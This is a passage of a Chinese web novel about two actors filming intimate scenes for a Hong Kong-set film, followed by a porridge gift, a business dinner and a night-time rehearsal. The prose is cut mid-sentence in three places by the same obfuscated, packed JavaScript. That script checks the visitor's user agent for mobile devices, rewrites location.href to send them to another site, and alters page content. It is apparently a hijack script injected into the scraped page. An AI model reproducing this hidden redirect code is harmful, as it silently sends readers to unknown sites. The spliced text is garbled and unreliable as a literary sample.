信洋跟着袁严回到了片场。看到李麦他十分惊喜。李麦早期和他母亲翁美霞合作过两次,他姐古信靓是李麦的狂粉。 “还不错。”李麦主动拍他肩膀 ,“不要听袁导的话,他那张嘴吐出来的话不可信。你没什么经验,才拍没几天,会越来越好的。” 这些话信洋打进组就在渴望了。 “谢谢李老师,谢谢。”信洋冲李麦连声道谢,眼神却看向了远处的颜纯。好想被他也夸夸—— ! 信洋被自己的想法惊到了,他竟然想得到颜纯的认可。 是的,他不能再自欺欺人说一句“无所谓”。他无法忽略颜纯的看法,承认就承认,一点都不丢脸!他就是想要他夸! 他要证明给颜纯看,他行! 这么想着,信洋燃起汹汹斗志,迅速逼自己进入状态,再次开拍。 这次除了由颜纯主导,还加了场外辅助。 “你就教嘛,一个镜头一个镜头的给他讲。这些年拍惯子安这种成熟演员了,给你惯的呀,戏都懒得讲戏算什么导演。” “好嘛好嘛。”袁导虚心受教,笑眯眯看着李麦:“听你的,都听你的。” 他终于张开了他金贵的嘴,开始现场导戏。于是接下来不大的场地里,充满了袁导不耐烦的呐喊。 “手按上去,对,把人往你怀里按。” “按!按!是按!不是硬拉!卡!” 袁导暴躁上前,将手掌虚虚量在颜纯腰部的位置,做了一个带有抓握力的动作。 “这个动作,得达到观众看到你按上去,就能想象到你把手伸进去他裤腰,揉他屁股蛋的效果,懂了吗?” 信洋不懂。 信洋默默把袁导手从颜纯腰边挥开,真诚发问:“那为什么不直接拍伸进去揉的呢?” 袁导:“……好问题。” “观众如果想直接看伸进去的戏份,就去看别人拍的了,为什么还要看我的戏?得精准定位受众,懂不?” “那就从按进去到伸进去到揉都拍出来呗,把看伸进去的受众也抢过来,这样咱们就有两拨受众了。” 信洋说完暗暗给自己数了个大拇指,以前怎么没发现自己竟然这么聪明。 袁导:“……” 袁导直接气笑了。 颜纯实在憋不住了,打断他们:“戏里两人的感情,还没到伸进去的地步,戏外咱俩也还没熟到你揉我屁股的份上,这样说理解吗?” 按这样说总有揉上的一天对吧。信洋瞬间不疑惑了,开开心心答:“颜老师这样说我就懂了。” 袁导:“……” 呵。 接下来,依旧袁导暴躁导戏。 “好好,维持。现在换你动嘴。” “张大,裹住他的,用力,吸。” “伸舌头,伸,再给点!卡卡卡!” “那是舌头又不是钢筋,你那么硬戳进去算怎么回事?舌吻不会吗?” 信洋弱弱:“会……吧……” 说起来怪不好意思的,自打他十八岁的第一次单恋被他爸强势搅黄后,他这几年光顾着上学忙事业了。别说舌吻,就是打啵,他也没经验。但他不想让人看出来,尤其颜纯。 袁导灌了几大口茶,埋怨地瞪了眼家属,李麦只露着温柔的笑容,拍他肩膀。 “各部门准备。” “321,action!” 袁导:“好,继续,上手。” 不止狼崽上手,Daddy也环住了他的脖子。 信洋发现了,不止袁导会随时改变拍摄要求,颜纯也会改变演法。前者他目前难以适应,但后者,他已经有些熟了。 颜纯算是确定了,这小子长了张对象多到满天飞的脸,却连接吻都不会。这青涩又莽勇的状态,和信狼还真像,要不说导演眼光毒呢,这样的要是能调教出来,成就感得多爆棚。 他探出点舌尖,狼崽追上来立马又收起。看人噘嘴他又笑嘻嘻给嘴,浅浅碰一下,他又拉开距离,这傻大个逗起来竟然意外地好玩。 气死了气死了,狼崽要气死了。Daddy哄人都高高在上的,不给他亲爽,勾得他两眼发愣直抓狂。 终于,他逮到了机会,收紧手臂,把人按牢了,摸软了,气哼哼带有惩罚意味地强势回吻。 好软…… 好香…… 好乖…… 再吸吸,嗯…… 咬一口,让你不让我爽,哼! 哎呀是不是吸得有点狠了…… 该停了吧…… 不是我不停,是导演不喊停…… 我最听导演话了…… 氛围逐渐火热,表演渐入佳境,监视器后,袁导笑得一脸开心:“纯你干脆直接跨坐上去。” 这一坐可好,信洋又同手同脚跑出去缓了半天。 剧组工作人员看他反应都笑了。亲密戏指导莱文姐跟袁导说:“这到时候怎么上宝贝袋?” “硬上呗,还能怎么上。”袁导也笑。距离他上一次亲自盯着导新人的戏已经过去至少七八年了,他也是没想到现在的菜鸟能菜的如此直白。 李麦在看监视器,袁导抬手揽住爱人的腰,把他圈进自己范围,搁家乡话在那儿嘟囔:“怂娃嘴没亲过吗?你看这啃啃啃滴,啃猪蹄子着尼吗?动作戏也挺灵活一娃,亲个嘴亲了一下午亲不明白,我耽一脚发着勾勾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124101|164308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里让嚎起啥。” 李麦听得直笑,他有很多年没看到过暴躁袁导了,看他横眉竖目,就想起了自己当年和他在片场干过的那些架,也是倍感亲切。 他手搭袁严肩膀上:“挺好的,多熟悉熟悉就软和了。他显然还没进状态,在外游离。” “是,我看他也不是真的喜欢这戏。” 正说着话,执行导演跑过来给袁严说,信洋的经纪人今晚想请大家吃个饭,问耽不耽搁袁导进度。 “一顿饭能耽搁多少进度,假式假样。远的地方不去,让他直接来咱食堂。” “好嘞。” “去,叫进来赶紧开始。”袁导说,“今晚尽量都别让大家加班。” 信洋很快进来了,他用冰水洗了把脸,头发梢上沾着水,鼻尖有点红,表情像是下了极大的决心,不一条过就绝食那种。 当然,这决心下得没什么卵用,该NG还NG。 “这样,把你头发整个打湿,你直接脱了上衣从浴室出来。”效果不好,袁导直接现场改戏。“出来点烟,移动,擦发,找衣服,全程不看对方,也唔听他说话,OK吗?” 又是剧本里没出现的情节,袁导想一出是一出的导法,弄的做事习惯按计划一步一步来的信洋很抓狂。 根据演员状态调度现场,是导演的基本功之一。这样相当于把表演的空间放大,是很容易碰撞出新火花的冒险做法。成熟的演员基本都适应这种拍法。但是信洋目前的菜鸡水平,还完全体会不到这种现场的乐趣。 他半知半解点头,那边颜纯已经改好了台词。对体验派的颜纯而言,只要吃透了人物角色,根据其他因素调整演法,那简直是信手拈来。 信洋怀着忐忑的心情踏进了浴室,但开拍后进展比他想象中顺利许多。 前半部分很神奇地很流畅地演完,最后卡在了吻戏上。 袁导这时候也不强求一镜到底了。他也对新人演员做出了妥协,NG后直接从吻戏开始拍。 拍到最后,亲到颜纯嘴唇都麻木了,终于过了。 喊卡后信洋还面红耳赤愣在床上,默默咂着嘴。颜纯已经过去看监视器了。 “这里镜头可能从下往上,效果更好。”颜纯说。 袁导:“那再来?” “今天先这样吧,嘴疼。”颜纯舔舔下唇,这一部亲的比他前些年拍的吻戏综合起来还要多。 “他小子如果眼神戏好点,还要什么吻戏。”袁导看着监视器里颜纯拉丝的眼神,有一瞬间都想换了完全接不住戏的菜鸟。 颜纯:“拍完都不一定能给你一场满足的眼神戏。” 各位,这样当面吐槽真的好吗?信洋挪下床,凑过去,看他们聊戏。 “这儿我捏太狠了,谁家好人求和是这态度。”颜纯笑着点评自己。 信洋不明白,他怎么能如此轻松快速地入戏又出戏,出戏后还能调成旁观者视角去调侃。无语!大无语!他凭什么能这么快出戏! 颜纯:“这里其实还行。” 监视器里是他骑到狼崽大腿上的画面。不止是要掩盖腿间的异状,还是想要更贴近,总之能看出来按在他细腰上那对大手很用力,但是握腰的姿势太规矩了,少了张力。 袁导:“能用。” “行,今天就到这儿,收工。” “你的能用可没啥可信度。”李麦打趣道。 “他也剪你戏啊麦哥,我看麦先生最后成片时以为自己拍了另一部戏。”颜纯哈哈哈笑道。 “剪,怎么不剪。我俩第一部戏首映会后差点打起来。” 袁导:“啧,哪有。” “有没有你自己心里清楚。” …… 他们三个唠着嗑走出好远了,信洋还楞在原地。 我手有那么大吗? 信洋低头看着自己的手。刚才监视器的画面里,颜纯的衣服下摆被他带了上去,腰漏了一小片。 那一小片……那一小片…… 温热,细腻,像玉。 不,其实更像燎原的火星子。 信洋呆呆望着颜纯远去的背影,喉结滑动。又粗又长的手指又无意识拢成掐腰的姿势,他感到手心里有什么在燃烧。 7. 第7章 啊啊啊!信洋手心胡乱在裤子抹了抹,抹掉压根不存在的滚烫。然后今天第三次,同手同脚的跑出了摄影棚…… 三字哥从市区公司赶到西山剧组至少一个半小时。信洋清楚三字哥的做事风格,大概率要请袁导喝酒,他肯定也是要陪的,那就得先在胃里垫点东西。 他叫上饭搭子江子翘和葵葵一起去食堂。 走到食堂门口,正好碰见颜纯出来。 江子翘问:“纯哥你今天怎么吃这么快,和我们再吃点呗。” 颜纯将手里刚拆开的,装胸链的快递袋往身后藏了藏,说:“我胃不太舒服,没怎么吃,你们吃吧。” 他上半年为准备这个角色从一百四减到了一百二,饮食方面准备不充足,引犯了好几年没复发的反食性胃炎,稍微一不得劲就烧心。 “我有胃药颜老师。”葵葵说,“我去给你拿盒。” “不用了不用了,我宿舍有药,谢谢啊。你们快进去吃吧。” 颜纯走了,信洋还在盯着他背影看。 江子翘折回来在他眼前打个响指。“发什么呆?刚才躲那么远,生怕纯哥吃了你似的,这会儿又看不够了?” 信洋摇头,悄悄抹掉一手心汗,问:“颜老师胃病是不是挺严重的?” “估计吧。但是看他平时吃饭也没忌口,吃辣超厉害,所以我也不是清楚。” “我忽然想起件急事,你们先吃。”信洋转身朝外跑了。 “啥事啊?我去就行了。”葵葵喊。 “你吃你的。” “什么事啊还能比吃饭急?”江子翘说,“算了咱俩先吃吧。” 葵葵看着信洋那火急火燎的背影,总觉得他今天哪里怪怪的。 信洋跑回宿舍,取了包配好的养胃包。这是之前他哥古信尊专门找一位老中医给他配的方子。他十几岁一个人在英国上学时胃没少受罪,但是他皮实,没落下病根,这次进组以防万一又备了点。 他回到食堂,跟浆水姨借了锅,先把奇亚籽泡了水,再把茯苓黑米黑桑葚洗净,又跟浆水姨借了山药和甜菜根,准备做一碗热乎乎的甜菜黑米山药粥给颜纯送过去。 大前辈嘴上虽然嫌弃他,但演戏的时候没少帮他,煮碗粥应该的应该的。 其实胃病了少吃,或者空腹一晚最宜,但信洋不知道颜纯的具体情况,就只能做最保险的。胃病只能一顿一顿慢慢养,急不来的。 浆水姨本来就喜欢这个吃饭吃得最好的刀疤小伙,现在看他一个熟练地操作着厨具,和从前见过的那些吃饭都要助理递筷子的大明星一比,一下子就更喜欢信洋了。 她围在信洋身边给他打下手,嘴上夸赞不断。 “虽然是大明星,但一点架子都没,真是个好孩子呢。” “还会做饭,可惜了我没闺女。” “以后哪家闺女能享到这福啊。” 信洋被夸就开心,一开心手更勤快,于是又清炒了两蝶小菜,热了两个浆水姨早上蒸出来大馒头,他胃难受就最喜欢吃暄软热乎的大馒头。 提着打包好的粥和菜,都快走到307门口了,信洋这才想起要以什么理由送给颜纯。 完全坦诚?就说自己听到了他胃难受,煮了点粥。不不不,这样说就显得关心过头了,万一让人误会怎么办。而且说实话也没多关心其实,就一碗粥,顺手的事,主要还是为了感谢颜老师在拍戏时的帮助。 对,真诚地表达感谢就好,可是为什么要做粥呢?感谢送其他上档次礼物不是更好?而且送礼物多普遍,送一碗粥……到这时候了,信洋才意识到这碗粥属实有点亲密了。 以他现在和颜纯的关系,到他已经为其下厨的程度了吗?明显没有。 亲自下厨怎么也得到和袁导那种即使同事又是朋友——对了!就说是袁导送的好了嘛。导演关心员工,大哥关心弟弟,朋友关心朋友,不天经地义嘛。而且袁导肯定也知道颜纯胃病的事。 就这么定了,信洋觉得自己真聪明,乐嗨嗨地脚下生风,大长腿一迈,一步三个阶梯爬上三楼。 走到最北面的307门前了,信洋放轻脚步,站定,缓了几口气,顺带拨了拨发型,才抬手敲门。 门一打开,他将粥刷一下递到颜纯面前,快速说道:“颜老师,这是袁导托我给你送来的晚饭,他知道你胃不好,特意让厨房给你煮了粥。” 热情小羊让颜纯愣得很明显。 信洋以为他怼到太前面吓到了颜纯,于是退后一步,冲颜纯亮出整整齐齐八颗大白牙。 “袁导还说自己腿不行了走路慢,让我这个腿脚快的小年轻加急送过来,让你趁热吃。嘿嘿。” 颜纯嘴角翘起一丝弧度,若有所思点点头,接过包装袋。“好,那你替我谢谢袁导。” “好嘞。趁热吃效果才好,颜老师。” “好,谢谢。”颜纯看着热情小羊欢快地蹦跶下楼,跑跑跳跳走远了才关上门。 一转头,迎上袁导一张又八卦又气呼呼的脸,而李麦早就笑倒在了他怀里。他们就坐在门口视角盲区的单人沙发上,信洋来的十分钟之前,他们一起来叫颜纯参加三字哥今晚组的饭局。 “哟哟哟哟哟哟哟,颜老师,要趁热吃哟。”袁导看热闹不嫌事大,“他私底下跟你说话一直这么夹?你俩是不是能打破我这老被粉丝骂的什么‘剧组情侣杀手’的魔咒了?” 说起来挺有意思的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124102|164308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袁导早先合作过的夫妻档或者公开的情侣,往往在拍他的电影后不久,就都官宣离婚或者分手了。久而久之,袁导就被各家粉丝统称为“剧组情侣杀手”。 颜纯无奈的笑。“袁哥不要开我这种玩笑。” “好,咱不提这茬。”袁导起身过去,打开包装袋。“这个臭小子,自己献殷勤就献殷勤,干嘛编排我!我腿脚利索着。” “这红丝乎拉的是啥玩意?”咱食堂还做这个?”袁导问。 “甜菜根煮的粥吧。”李麦说,“就上次让你尝你嫌腥那个。” 颜纯闻了下,没有腥味,只有米香和小炒油菜的清香味儿。 “应该订的外卖,我刚才去食堂没看到这粥。”他说。 “这也不是外卖袋啊。”袁导抓了一颗拌菜里花生豆丢嘴里,李麦立马拍他手。“味道可以,不能是自己做的吧。” “怎么可能,那少爷能是下厨的人。”颜纯尝了口小油菜,甜丝丝的清脆,也不油腻,还挺好吃。“也还行吧。” 袁导:“你不吃我吃了。” “哪有人吃自己送的。”颜纯立马将菜都挪到自己面前。 李麦拉着袁导往外走,“你别欠了,让子安自己先胃里垫点,梁根庭到了。” 颜纯搬来板凳坐下了慢慢吃。他前面去食堂转了一圈,看饭菜都是重油重盐的,便想着干脆不吃晚饭了,让胃休息休息。但小喝两口这甜菜粥,胃里感觉还行,便一口接着一口喝下去。 刚去食堂没看到这粥,难不成真是某羊自己做的?不能吧,孩子不还惦记着替铁哥们报仇呢,能给他做粥?肯定不能啦。 颜纯虽然嘴馋,但嫌做饭洗锅麻烦,几乎不开灶做饭。他觉得做饭俩小时,吃饭十分钟这种事,得必须是那种非常恋家、非常爱生活的人才做到,这种细致活,能和急冲冲的信洋搭边?指定不可能啦。 颜纯在心里完全否定了信洋亲自下厨的可能性。 粥的量刚好,菜量也刚好,小小一餐,他吃得舒心又舒胃。 酒足饭饱,他长叹一声,这要是能直接躺床上看小说就更美了。这几天太忙,他都没来及看《霸总》。今天下戏的早,准备把攒的几大章一次性看完,又要跟袁导一起应酬,真是烦呐! 河里游的人除了作者君,网站老板,又多了一个袁导。 …… 休息片刻,他换了件干净T恤。换的过程中他戴上胸链试了试。 细细的玫瑰金色链条贴着他苍白的皮肤,美则美矣,但视觉效果还是差点。说到底还是太瘦了,这种情趣小链子,还是要笼着饱满的胸肌戴才好看…… 稍稍幻想了下,收起链子,颜纯溜溜达达去了食堂。 8. 第8章 食堂二楼有专门宴客的包间,袁导不喜欢这种饭桌社交,烦死了各位资方爸爸们喝点儿马尿,就抖着啤酒肚,长着臭嘴长篇大论。 好在他们家的社交达人在身边,还有颜纯和两个戏份重的同事——麻哥和好来哥。人一多,有些话就不好说了。他大概能猜到三字哥这趟来的目的。 三字哥这些日子着实忙翻天了。他负责的三中心时隔六年推新女团,他要全程跟进。 走富贵高知少爷路线的男艺人爆出了学历造假,公司高层有人要硬保,有人不同意,他一个打工的夹在中间,听谁的都有错,犯尽了难。 国民度挺高的新晋小花背着他谈对象不说,还被对方拍了照片要挟,说不在社交平台官宣两人的关系就曝光,总之,乱糟糟一堆破事,全要他处理。 与这些相比,信洋闯的祸都不叫祸,信洋也确实是他带过的最省心的艺人。家世雄厚,资源不愁,在音乐方面既有才华又自己知道深造不浪费。外形优越,吸粉能力强,待粉丝真诚,粉丝黏度极高。运气好,出道曲就爆火,爱惜羽毛,火了也不飘,除了泡音乐室就是上课学习,维持着一年至少两首单曲的发歌频率,十分上进,有目标了都会去争取。 歌坛真是好多年好多年都没出来这么合口味的新人了。 三字哥去西山剧组的路上都自我反悔了一番,不能因为孩子自个懂事自己这个大家长就不上心啊。培养一百个县花一现的,哪有雕琢出一个巨星来的有成就感。他笃定信洋大火只是时间问题。 有了这番想法,三字哥见到信洋,也就只抽了两下后他脖子。“你个臭洋仔。” 信洋还多少有点不服。他洗了澡冲掉在食堂后厨染上的油烟味,还吹了头发,换了件牛仔坎肩,搭了牛仔裤,戴上了他那些丁玲咣当的链子,臭着脸活脱脱一港风帅痞。 “笑笑笑,笑脸拿出来!拉脸给谁看?等会儿让我看见你臭脸看我怎么收拾你。” 信洋跟在三字哥身后进了包间,三字哥满脸堆笑迎上去先自罚三杯,才带着信洋落座。 颜纯坐在他们斜对面,信洋借落座的瞬间,眼神飘过去——颜纯把半长的银发扎了个小揪揪,身上换了件宽大米色T,全素颜,没什么表情,和今天下午掐他下巴,散发若有如无诱惑气息的安耀阳,以及刚才在307门口见到的颜老师,都不太一样。 这人真的好多面,到底哪一面才是最真实的呢? 信洋视线下滑,触到颜纯腰的位置被烫到了一般缩回。接着他便欲盖弥彰,先是咳嗽了声,连忙端起茶杯灌水。 三字哥又抽他后脖颈一记,“去去去,把车上我带的酒拿来。长辈们没端杯,你急急急什么。” 袁严爱喝酒,三字哥最擅长投其所好。其实按道理讲,《港色1993》的最大出品方是信洋背后的港城娱乐,三字哥的态度大可不必这么谦和,但是他混这一行太久了,知道面对什么人该拿权势,什么人该拿人情。 像袁导这种两者都不怎么吃的大佬,剩下的,就只能靠真诚、真心、真意了。不过这要是换了公司其他人,三字哥也不会这么上心。 菜上桌了,酒也来了,三字哥一句不提信洋的事,就纯吃饭纯唠嗑。唠一些同行间能唠的八卦,把这些天的憋闷吐一吐。唠着唠着就把袁导唠开心了,两个人也不断的碰杯。 袁导有李麦管着,喝了二两左右就停了。三字哥信洋拦不住,喝多了。他爱惜地摸着信洋的后脑勺,看他傻愣愣连个酒都不知道给前辈们敬的样子,心里又是无奈,又是感到庆幸。 无奈这个傻子是个真傻子,完全不清楚在坐的大佬们,将会给他的演艺生涯带来多么翻天覆地的变化。 庆幸好在这个大家族养出来的小少爷,没有沾上娱乐圈的那股子油腻风气。要是人情世故他都真的能圆滑处理,估计今天袁导一开始就不可能答应吃这顿饭。 毕竟信洋的戏份就在那,他再差也掩盖不了片子其他的优点,袁导大可以睁一只眼闭一只眼让他混着,到时候咔嚓把他的戏份一剪没。但袁导答应了,就代表他还是看好自家小伙子的。 三字哥拍信洋肩膀,“去,起起起来,跟前辈们喝几杯。” 信洋端起酒盘就去了。他理解的喝酒那就是敬酒,于是从袁导开始,一个一个不落地挨着敬下来。 他社交这方面的技能几乎都是三字哥教的。小时候妈妈离开的早,爸又不管,爷爷奶奶也不在乎他,差7岁的姐忙着探险不领他,大12岁的哥又是个脚不沾地的工作狂,完全没时间照顾他,他一个人长大,交的朋友也都是差不多性格—— 一群外表看上去天天花天酒地的bking,但其实私底下还都是跟妈要钱都要铺垫上三条理由的怂包。他圈子里唯一的社交达人,也就只有宋建桥了。 一圈酒敬下来,终于挨到了坐在最末尾的颜纯了。信洋前几杯喝的有点猛,脑子发昏,看见颜纯啪的两手端杯,以十分恭敬的姿势敬给他,和那晚拜托他教戏一模一样。 “颜老师,你胃不舒服,端杯意思一下就行,我干了。” 颜纯人坐在这,但已经困到魂飘走了有一会儿了。听到信洋这么说,他魂回来了十分之一。那粥,究竟是何来历? “那我就真意思一下了。”颜纯端杯,和信洋轻碰了下,抿了一小口 ,将酒杯放回了酒碟。信洋则又是仰头一饮而尽。然后折身回自己座位的路上,鬼使神差的,他端起颜纯没喝完的那杯也干了。这么好的酒不能浪费是不。 三字哥看他落座,一脸欣慰地拍他肩。心叹,袁导的剧组就是好啊,就他家这不懂人情世故的傻羊,都知道留心记住前辈胃不舒坦,知道主动表达对前辈的关心了,真不容易啊。这成长是如此明显,实在令他欣慰。 “我家这个孩子,人没问题,就是愣了些,傻了些,脑子不灵光。打小养尊处优的,没低过头,没求过人,说话做事不讨喜,但人是真的一点问题都没有。”三字哥捧杯站起,面向袁严。“袁导,一切都在酒里了。老弟我干了。” 袁严冲他摆摆手,多余的话没必要说。 但三字哥属实喝多了,话匣子打开了,就开始回忆过往了。 “他爹确实不是个东西,但孩子真的没问题。麦哥,你也知道美霞姐的性格,这孩跟她一模一样,还遗传了美霞姐的金嗓子,要不给你们来一段?” 袁严:“今晚就算了,改天去克特v好好唱。”他抬眼给信洋使眼色,差不多就让醉汉回吧。 三字哥摇摇晃晃挪到颜纯跟前,拉住他和李麦的手。“纯,纯你戏好,看哥面上,你多带带孩。” “麦哥,美霞姐那时候最喜欢看你这个小辈的戏,你现在看看她的这根苗,值不值你教教。唉!我的美霞姐,当年可是帮我不少……”说着说着,三字哥开始抹泪了,信洋连忙假架起他往外走,到底是谁更丢人啊! 这顿饭就这么散了。信洋架着三字哥从食堂出来,往停车场去的路上,遇见一位大波浪大红唇的美艳御姐,颜纯的经纪人,黎芬妮。 三字哥哪怕醉了,看清她的瞬间也强撑着挺直了腰杆,嚷嚷道:“怎么在这里都能见到你。” 黎芬妮闻到他一身酒气,嫌弃的直接拉开距离,理都不带理他的,只问信洋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124103|164308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“洋仔,食堂是哪个方向?” 得到回答后她潇洒离去,留三字哥看着她妩媚的背影跺脚咒骂:“大夜晚戴黑超,因住踩摔狗食屎呀!” “好了,人都走了,代驾得十来分钟才能到,去车上等还是在外面散散味?” 三字哥嘟嘟囔囔的,骂着什么无情什么谁回头谁就股票跌大腕。又拉着信洋的手苦口婆心:“你要自个学呀!以后莫要再提另找老师的事,跟着他们几个学,都够你受用一辈子了。” 信洋这回把他的叮嘱记牢了。他把三字哥架到车上,一刻钟后,打发走了他。 剧组建在郊外,背靠西山,夜晚除了远处高速路上来往车辆的鸣笛声,就只有林间的虫鸣鸟叫。 山里风清月朗,信洋两手插兜,慢悠悠围着外场瞎逛散酒气。走了没几步,他发现了不远处的人影。 是颜纯。 可能是酒喝多了,颜纯步子有点飘。 颜纯带的胃药吃完了,黎芬妮在这附近参加活动,就给他买了拿过来。 他前面刚送完黎芬妮,溜达着去彩票店买了张面值20的刮刮乐,刮出来中了30,这会儿心情特好,哼着人生之歌欢乐地踏着小舞步—— 请你呀来到我的身旁 让我的心呀不再流浪(1) …… 他听到了不远处的脚步声,看个头猜出是信洋后,瞬间站定,变身一本正经的颜老师。 他想到了三字哥拉着他的手说的话,又想到了那碗甜菜粥。于是站在原地,想等等对方,结果信洋停下不走了,他只好一个人先走。 信洋还不知道颜纯看见他了。他放轻脚步跟在对方身后,跟了几步,忽然想起剧本上也有写这样的场景——每次狼崽闯祸不敢见耀爹,但又想他,就偷偷跟在他身后,一直跟到他气消了,才故意弄出点动静,再特意露出伤口让对方心软,无奈地说一句:“又闯祸了?”然后把他拉过去,亲自包扎伤口。 只要耀爹主动,他就可以放心装委屈,告状,撒娇,至少在包扎的过程中占据对方的所有视线,然后变态一样的,疯狂嗅对方的气息,偷偷的,再靠近一点,感受他的温度,让他的手在自己身上,多停留片刻。 最后,他再乖乖等待Daddy打开专门为狼崽装甜食的小冰箱,获得爱意无法出口的苦日子里,那不可多得的甜蜜。 剧本里只写了这一场戏,那些未被呈现在纸面上的,无数个默默守护的夜晚,信狼是不是也像此刻这样,只敢静静跟在心上人身后,跟近的距离,踩地的声音,甚至呼吸的频率,都要精心算好,生怕多一寸都会暴露心事? 信洋想的太入迷了,以至于发现颜纯不知何时停下时,两人的距离只剩两米不到。 颜纯侧立着,他身上的T恤太过宽大,风稍微一拨弄,月光下,腰线便迷蒙可见。 信洋屏息,刘海碎发挡了颜纯的脸,他看不清颜纯的表情,但能感受到他的眼神。 他在专注地盯着自己,用一种唯有他们彼此能感受到的眼神。这个认知令信洋口干。 福至心灵,这一刻,他不仅完全理解了葵葵的那句“好想他一直看着我”,他还自动做了延伸——好想要这眼神,只看着自己。 只属于自己。 这想法来得汹涌霸道,毫无预兆。陌生,太陌生了,但又是如此笃定。 信洋咽了口吐沫,该怎么做,才能占有眼前这个人的全部视线?未多思考,他已然像剧本上写的那般,卷起袖子露出伤疤—— 与此同时,对面响起了安耀阳的声线:“又闖禍??喎?”(又闯祸了?) 9. 第 9 章 ! 很难说清楚那刻的感受,如果非要形容,那就是灵魂被撞了一下。 活了二十二年第一次有人与他心有灵犀到这个地步。 震惊中,信洋脑子还在死机状态,嘴皮子却先动了。 “二街那个买包子的欺负卖花妹,我去给她报仇,爹个球,他老妈子打人好凶的,喏,都给我胳膊挠破了,俊脸也干破相了,以后指定没女人要我了。” 竟是这些背到滚瓜烂熟的台词拯救了他,好神奇,信洋感到心头热血在涌动,这一时刻的奇妙感受,比发第一首单曲时的感觉还要令他激动沸腾。 “过来。我看看俊脸哪破相了。” 信洋走过去,没有同手同脚。 离得近了,他看清了颜纯的脸。 颜纯此刻没做妆造,他的真容比电影里病入膏肓的安耀阳要年轻许多。 信洋望着他,无端想起一句名言——在月色和雪色之间,你是第三种绝色。 月光照在美人身上,月光也更好看了。 颜纯手指微微抬起信洋下巴,查看他右脸并不存在的伤疤。 他的神色让信洋觉得,自己嘴角确确实实存在着一个伤口。而颜纯指腹的温度,让那伤口的温度更灼人了。 “小事,待会让阿嫂上点药。” “我想你上啊。” Daddy垂眸,眼角眉梢透着笑意:“那你就想吧。” 笑与不笑是两张脸庞,这是颜纯。 日常温和的笑和此刻饱含宠溺的笑,是两种情意,这是Daddy。 这是信洋第一次长久地直视颜纯的脸,是那种专注到近乎发直的仔细端详。这也是他们真正意义上的第一次对视。 颜纯眼睛是非常惊艳的狭长深邃形,双眼皮窄,眼裂长,卧蚕大。笑时流光纯粹,暖意盈盈,不笑时凌厉冷峻,英气逼人。 演安耀阳时,严肃时刻是压迫感十足的侵略性,但在狼崽怀里,又会透出柔软温热的诱惑和色气。 此刻,那弯月一般的弧度里,不是直达眼底的笑意,而是他无意识释放的侵略性和诱惑。信洋已经不知道自己第多少次,又被那种难以言明的魔法吸住了,他看呆了。 颜纯打个响指叫他回神,说:“眼神不对。” 啊?有这句台词吗?信洋愣神两秒,才反应过来这话是颜纯对古信洋说的。这么快就出戏了? 颜纯收回视线,转身抬脚往前走,说:“我理解信狼这个人物有两个特质,一是沉,二是赖。沉对外,是兄弟们最信任的大哥,赖对安耀阳,是他本色的暴露,也是他有心而为。你是怎么理解的?” “我……”信洋连忙拔脚跟上,他身体回到了现实,魂还荡在刚才的氛围里。 “我就是觉得他挺稳重,很可靠,话不多,有很多小弟,也风光,但有时候也很可怜。” 信狼3岁在垃圾堆里被安耀阳捡走,一手带大,长了一米□□的大高个,练了一身硬功夫。16岁开始替安耀阳分忧解难,获得了前辈们的肯定和不少兄弟的追随。这个人脸上平时没啥表情,脸冷心也冷,惦记把他养大的干爹压抑到快疯狂,对安耀阳是种近乎变态的偏执,心里连自己都没有,只有安耀阳。 信洋理解的其实没错,全是剧本里呈现出来的形象,但如果按这样演,有经验的演员也很容易演成港片里那种标签化的悲情式硬汉人物。 颜纯没着急反驳信洋,他先肯定他再引导他:“嗯,你为什么觉得他可怜?” “因为,因为他得到的都不是想要的,但最想要的,却一直得不到。” “他最想要什么?” 信洋脱口而出:“干爹啊。” “是。但他是想单纯得到安耀阳这个人,想把他占为己有,还是说他想有足够的能力和他并肩?替他分担掉上一辈的仇恨?因为他的感情是在安耀阳确诊胃癌后爆发的,为什么会在这个时间点?如果没有外力推他他会主动吗?如果安耀阳死了,他会独活吗?” “这……”这一连串的疑问把信洋问懵了。 剧本只写到狼崽在“风信子之约”当天,为Daddy单挑数名仇敌,车轮战下来有幸捡回一条命,自此上一辈恩怨因此化解,就完了。所以信洋不知道最后他们的结局是什么,他也从没想过这些问题。 安耀阳死了,信狼会独活吗?会吗?不知道,他发现自己目前还想不出答案。 他们走回食堂附近了,大老远听到有人热情招呼他们:“洋仔,来K歌哇。纯哥,一起?” 是漆疾风。 剧组在拍戏之外的时间,是允许他们在不扰民的前提下,可以搞点娱乐活动自嗨的。 